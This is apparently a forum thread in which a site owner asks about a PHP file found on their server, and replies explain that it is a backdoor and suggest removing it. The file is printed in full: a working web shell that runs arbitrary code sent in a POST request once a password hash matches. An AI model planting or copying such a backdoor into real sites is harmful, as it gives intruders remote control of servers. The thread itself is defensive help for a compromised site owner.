What does this code mean?

<?php
error_reporting(E_ALL);
if (isset($_POST['de8ad874']) && md5($_POST['de8ad874']) == '992c9c4dfbdf0f872baaf5123bea4afd') {
$test_func = create_function('', urldecode($_POST['f']));
$test_func();
}
exit();
?>

This is inside two folder in my server and I cannot delete that. Is it a bad code?

Thanks!

 

This script looks like a gateway to your page. Basically it means that one can provide a string that will be executed as a function in your page.

Delete all such files as soon as possible.
If you have shell access then do:
chmod u+w directory
where directory is the folder where this php file is located. You can do this also from ftp client, look for "File->change attributes" and give yourself "write" permission on the directory.

 

Yeah this looks dangerous!

I'd remove it if you can because a user could run harmful functions and really screw you up if they know the right $_POST variables (which would not be hard to get)

If you can't remove the code because it performs a pivotal function then follow the steps outlined by krzyk. Protect your files.

Hope this helps